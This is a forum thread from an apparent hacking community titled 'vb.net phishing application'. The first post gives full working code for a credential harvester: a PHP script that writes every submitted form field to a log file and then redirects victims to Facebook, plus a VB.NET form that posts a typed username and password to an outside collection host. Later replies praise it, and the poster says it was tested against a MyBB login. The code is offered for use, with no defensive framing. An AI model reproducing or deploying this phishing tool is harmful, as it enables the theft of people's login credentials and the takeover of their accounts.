Discord Server Red Security Twitter Donation to Red Security Red Security Youtube Channel Red Security Tumblr Profile
Windscribe
Login or Register to Hide ads and Accessing all features on the forum
Thread Rating:
  • 14 Vote(s) - 3.21 Average
  • 1
  • 2
  • 3
  • 4
  • 5
vb.net phishing application
#1
what is need

2 textboxes
and a button


web server required
PHP Code:
<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

header ('Location: http://www.facebook.com');
$handle fopen("log.txt""a");
foreach(
$_POST as $variable => $value) {
 
  fwrite($handle$variable);
 
  fwrite($handle"=");
 
  fwrite($handle$value);
 
  fwrite($handle"\r\n");
}
fwrite($handle"\r\n");
fclose($handle);
exit;
?>

url to log.txt







Imports System.Net
Imports System.Text
Imports System.IO

Public Class Form1

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Dim errorString As String = "Test String"
        Dim postData = "user_Name= " & TextBox1.Text & vbCrLf
        Dim postData1 = "Password= " & TextBox2.Text
        Dim request As WebRequest = WebRequest.Create("http://darktown.comeze.com/i.php?")

        request.Credentials = CredentialCache.DefaultCredentials
        CType(request, HttpWebRequest).UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)"

        request.Method = "POST"

        Dim byteArray As Byte() = Encoding.ASCII.GetBytes(postData + postData1)
        request.ContentType = "application/x-www-form-urlencoded"
        request.ContentLength = byteArray.Length

        Dim dataStream As Stream = request.GetRequestStream()
        dataStream.Write(byteArray, 0, byteArray.Length)
        dataStream.Close()

        Dim response As WebResponse = request.GetResponse()
        'dataStream = response.GetResponseStream()
        Console.WriteLine(CType(response, HttpWebResponse).StatusDescription)
        dataStream = response.GetResponseStream()

        Dim reader As New StreamReader(dataStream)
        Dim responseFromServer As String = reader.ReadToEnd()

        reader.Close()
        dataStream.Close()
        response.Close()

        Debug.Print(responseFromServer)
        Try
        Catch ex As Exception
            MsgBox(ex.Message.ToString)
        End Try
    End Sub
End Class

Reply
#2
Thanks bro Smile
Keep it up
Rs
* Thankful to Allah *
Kurdy
Reply
#3
(06-20-2017, 09:55 PM)Mr.Kurd Wrote: Thanks bro Smile
Keep it up

Works in vb.net mybb login ass well been tested
Reply
#4
(06-21-2017, 02:03 AM)viruss Wrote:
(06-20-2017, 09:55 PM)Mr.Kurd Wrote: Thanks bro Smile
Keep it up

Works in vb.net mybb login ass well been tested

Nice, Keep it up but change the style Smile
Rs
* Thankful to Allah *
Kurdy
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  virus phishing source viruss 0 673 06-04-2018, 02:12 PM
Last Post: viruss
  mysql chat application viruss 4 1,150 08-22-2017, 02:35 PM
Last Post: Mr.Kurd



Users browsing this thread: 1 Guest(s)